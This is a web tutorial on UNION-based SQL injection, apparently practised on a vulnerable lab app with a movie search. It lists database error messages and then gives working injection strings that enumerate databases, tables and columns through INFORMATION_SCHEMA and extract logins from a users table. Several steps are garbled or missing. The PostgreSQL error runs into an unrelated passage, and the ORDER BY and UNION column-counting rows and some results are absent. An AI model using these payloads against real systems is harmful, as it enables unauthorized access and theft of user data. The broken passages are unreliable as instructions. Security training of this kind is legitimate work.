SQL injection vulnerability: SQLi basics, simple injection with UNION

The main signs of the presence of SQL injection is an error output or no output when entering single or double quotes. These characters can cause an error in the application itself, so to be sure that you are dealing with the SQL injection, and not with another error, you need to study the output message.

The list of DBMS and the variants of errors they display

Style of MySQL errors:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Error in MSSQL ASPX:

Server Error in '/' Application

Error in MSAccess (Apache PHP):

Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine

Error in MSAccesss (IIS ASP):

Microsoft JET Database Engine error '80040e14'

Error in Oracle:

ORA-00933: SQL command not properly ended

Error in ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Error in PostgreSQL:

I.e. nothing was found, this indicates that double quotes are not filtered either (otherwise the film would have been found by Iron Man request). It also indicates that single quotes are used to frame the entered strings.

Based on the information obtained, we form a row to display all table entries:

Iron Man' OR 1 #

Result:

Determine the number of columns in a table using ORDER BY

To create more complex injection commands, you need to know how many columns are in the table.

ORDER BY specifies the sorting of data received from the table. You can specify sorting by column name, or you can specify sorting by column number. Moreover, if there is no column with such number, an error will be shown.

Consistently try the following rows (AND 0 is used to suppress unnecessary output):

This means that the eighth column is missing, i.e. there are only seven columns in the table.

Another way to find the number of columns is to use the same UNION. Let’s add the number of columns with the ladder:

Do so until the error message disappears.

Combining requests with UNION SELECT

UNION allows you to combine results in one of several SELECT expressions.

Construct our query with UNION:

Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #

As I said, the number of fields must be the same in both SELECTs, but what is not very important in these fields. You can, for example, just prescribe numbers – and they will be printed. You can prescribe NULL – then nothing will be printed instead of the field.

Note that the content of some UNION SELECT 2,3,4,5 fields is displayed. You can set functions instead of numbers.

What to write in the SELECT

There are some functions and variables that can be written directly to UNION:

Enter to get the database name:

Iron Man' AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

INFORMATION_SCHEMA Database

INFORMATION_SCHEMA is always present in the MySQL / MariaDB database list. This is a service database that provides access to database metadata, information about the MySQL server. Simply put, it contains information about all other databases that the MySQL / MariaDB server supports. This information includes the names of databases and tables.

For example, the next query will display the names of all databases present on the server:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

• SELECT and FROM are already familiar elements of the database query language;
• SCHEMA_NAME – the name of the requested column;
• INFORMATION_SCHEMA – name of the database to which the query is made;
• SCHEMATA – the name of the table where the requested column is searched for.

Getting a list of all databases on the server through SQL injection

Using UNION, we can query the INFORMATION_SCHEMA database. For example, to output the contents of the SCHEMA_NAME field (the names of the databases present on the server), we can make the following entry approximately:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

Sometimes a web application script that is subject to SQL injection outputs only one entry. In our example, this is not the case, but if, for example, entering

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

output only one record at a time, you could use LIMIT to view all tables. For example, for the first row:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

For the second line:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

For the third line:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

For the fourth line:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

etc. It is possible to use more complex syntax using WHERE and functions. For example, the next input will show you the names of the tables in the current database:

Iron Man' AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

Once you have received the names of the database tables, you can go on and get the names of the columns:

The desired query:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='tablenamehere'

Where instead of table name here you have to substitute a table name.

For example, we got the following names of the tables present in the database:

• blog
• heroes
• movies
• users
• visitors

Then to get the column names in the blog table you need to generate a query:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='blog'

With regard to our vulnerability, we get input:

Iron Man' AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='blog' #

Here you can also use LIMIT.

Extracting data from a table using an SQL injection

Now that we know the database name, table name and field name, we can extract data from an arbitrary column. For example, input:

For example, the following input for our vulnerability means extracting the contents of the login column from the users table from the current database:

Iron Man' AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #